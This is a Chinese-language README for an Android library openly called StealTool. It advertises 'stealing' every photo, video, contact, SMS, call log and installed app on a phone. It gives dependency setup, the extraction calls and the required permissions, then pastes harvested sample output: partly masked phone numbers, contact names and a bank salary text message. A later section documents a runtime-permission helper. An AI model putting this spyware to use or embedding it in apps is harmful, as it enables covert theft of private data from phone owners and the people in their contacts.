盜取手機敏感資訊,Android 6.0之上相容
摘要:
盜取手機敏感資訊,Android 6.0之上相容
專案介紹
盜取資訊包含:
手機中所有照片
手機中所有視訊
手機中所有通訊錄
手機中所有簡訊
...
盜取手機敏感資訊,Android 6.0之上相容
專案介紹
-
盜取資訊包含:
- 手機中所有照片
- 手機中所有視訊
- 手機中所有通訊錄
- 手機中所有簡訊
- 手機中所有通話記錄
- 手機中所有安裝應用
- 相容Android 6.0及之上版本
- 動態許可權申請工具開放
效果展示
1.照片資訊
MaterialBean{mLogo='/storage/emulated/0/Pictures/Screenshots/Screenshot_2017-07-23-01-38-14.png', title='Screenshot_2017-07-23-01-38-14.png', time='2017-07-23 01:38', filePath='/storage/emulated/0/Pictures/Screenshots/Screenshot_2017-07-23-01-38-14.png', isChecked=false, fileSize=1025172, fileId=89cfda75f36e44e3a46235937a8c3000, uploadedSize=0, fileType=6, uploaded=false, progress=0, timeStamps='1536657493366', flag='0'}
2.視訊資訊
MaterialBean{mLogo='/storage/emulated/0/DCIM/Camera/視訊/VID_20170917_130313.mp4', title='VID_20170917_130313.mp4', time='視訊時間-00:00:11', filePath='/storage/emulated/0/DCIM/Camera/視訊/VID_20170917_130313.mp4', isChecked=false, fileSize=29080924, fileId=7be02431aeff4d19b2612b686543ce10, uploadedSize=0, fileType=2, uploaded=false, progress=0, timeStamps='1536657639141', flag='0'}
3.通訊錄
PhoneUserInfo{id='daaf163b02d44e6dabf59cfb9a8c0958', name='*鵬', number='151**054191'} PhoneUserInfo{id='15aebbd2e6134e59992192b095f0e67c', name='侯*利', number='1830***2828'} PhoneUserInfo{id='28bcabbb14e24e3da4b5bd79c10dfa46', name='*八', number='187337**438'} PhoneUserInfo{id='3d637ea6910f4b71a105ae06b7ba3645', name='申通小哥', number='18513**8127'}
4.簡訊
[ 10659805436945326, 0, 【luckin coffee】小藍杯,北馬愛~送你一張5折券(全場飲品通用)下載app立享http://t.cn/RlQ2ad3 回TD退訂, 2018-09-11 01:42:27, 接收 ] [ 95555, 0, 您賬戶8693於09月11日11:42入賬工資,人民幣22267.30。[招商銀行], 2018-09-11 11:46:28, 接收 ]
5.通話記錄
CallInfo{number='13141**2862', date=1527322406732, type=2} CallInfo{number='1891**85043', date=1527325280548, type=1} CallInfo{number='1360110**83', date=1527335837700, type=2}
6.安裝App
AppInfo{appName='CSDN', appIcon='android.graphics.drawable.BitmapDrawable@eb62aed'} AppInfo{appName='皮皮蝦', appIcon='android.graphics.drawable.BitmapDrawable@4f2ad22'} AppInfo{appName='Chrome', appIcon='android.graphics.drawable.BitmapDrawable@66043b3'} AppInfo{appName='UC瀏覽器', appIcon='android.graphics.drawable.BitmapDrawable@b0f8d70'} AppInfo{appName='抖音短視訊', appIcon='android.graphics.drawable.BitmapDrawable@75788e9'}
最簡單使用方式
1. Add it in your root build.gradle at the end of repositories:
allprojects { repositories { ... maven { url 'https://jitpack.io' } } }
2. Add the dependency
dependencies { implementation 'com.github.pengMaster:StealTool:1.0.0' }
3. Add use to activity
//獲取圖片 StealUtils.getAllLocalPhotos(this@MainActivity) //獲取視訊 StealUtils.getAllLocalVideos(this@MainActivity) //獲取聯絡人 StealUtils.getAllContactInfo(this@MainActivity) //獲取簡訊 StealUtils.getSmsInPhone(this@MainActivity) //獲取通話記錄 StealUtils.getCallInfos(this@MainActivity) //獲取安裝所有App StealUtils.getInstallApp(packageManager) java (this) = kotlin (this@MainActivity) java (getPackageManager()) = kotlin (packageManager)
4. add permission to your menifest
<!--讀--> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> <!--聯網--> <uses-permission android:name="android.permission.INTERNET" /> <!--聯絡人--> <uses-permission android:name="android.permission.READ_CONTACTS" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <!--簡訊--> <uses-permission android:name="android.permission.READ_SMS" /> <!--通話記錄--> <uses-permission android:name="android.permission.READ_CALL_LOG" />
介紹一下很好用的Android6.0動態許可權申請工具
申請一個許可權:
PERMISSION_CAMERA = 申請許可權(例如:Manifest.permission.READ_SMS) REQUEST_CODE_CAMERA = 請求返回碼 重寫onRequestPermissionsResult()時用 PermissionUtils.checkAndRequestPermission(mContext, PERMISSION_CAMERA, REQUEST_CODE_CAMERA, new PermissionUtils.PermissionRequestSuccessCallBack() { @Override public void onHasPermission() { // 許可權已被授予 } });
然後在onRequestPermissionsResult中:
if(PermissionUtils.isPermissionRequestSuccess(grantResults)) { // 許可權申請成功 }
什麼?要同時申請多個許可權?
PermissionUtils.checkAndRequestMorePermissions(mContext, PERMISSIONS, REQUEST_CODE_PERMISSIONS, new PermissionUtils.PermissionRequestSuccessCallBack() { @Override public void onHasPermission() { // 許可權已被授予 } });
當然上面這些都不是申請許可權的正確姿勢,理想的姿勢應該是:
- 第一次申請許可權:按照正常流程走;
- 如果使用者第一次拒絕了許可權申請,第二次申請時應向用戶解釋許可權用途;
- 如果使用者勾選了“不再詢問”選項,應引導使用者去設定頁手動開啟許可權。
於是,引申出了複雜版的許可權申請方法:
自定義許可權申請:
PERMISSION_CAMERA = 申請許可權(例如:Manifest.permission.READ_SMS) PermissionUtils.checkPermission(mContext, PERMISSION_CAMERA, new PermissionUtils.PermissionCheckCallBack() { @Override public void onHasPermission() { // 已授予許可權 } @Override public void onUserHasAlreadyTurnedDown(String... permission) { // 上一次申請許可權被拒絕,可用於向用戶說明許可權原因,然後呼叫許可權申請方法。 } @Override public void onUserHasAlreadyTurnedDownAndDontAsk(String... permission) { // 第一次申請許可權或被禁止申請許可權,建議直接呼叫申請許可權方法。 } });
然後在onRequestPermissionsResult中:
PermissionUtils.onRequestPermissionResult(mContext, PERMISSION_CAMERA, grantResults, new PermissionUtils.PermissionCheckCallBack() { @Override public void onHasPermission() { } @Override public void onUserHasAlreadyTurnedDown(String... permission) { Toast.makeText(mContext, "我們需要"+Arrays.toString(permission)+"許可權", Toast.LENGTH_SHORT).show(); } @Override public void onUserHasAlreadyTurnedDownAndDontAsk(String... permission) { Toast.makeText(mContext, "我們需要"+Arrays.toString(permission)+"許可權", Toast.LENGTH_SHORT).show(); // 顯示前往設定頁的dialog ); } });
參與貢獻
- Fork 本專案
- 新建 Feat_xxx 分支
- 提交程式碼
- 新建 Pull Request
- 許可權工具參考:ofollow,noindex">https://github.com/ifadai/PermissionUtils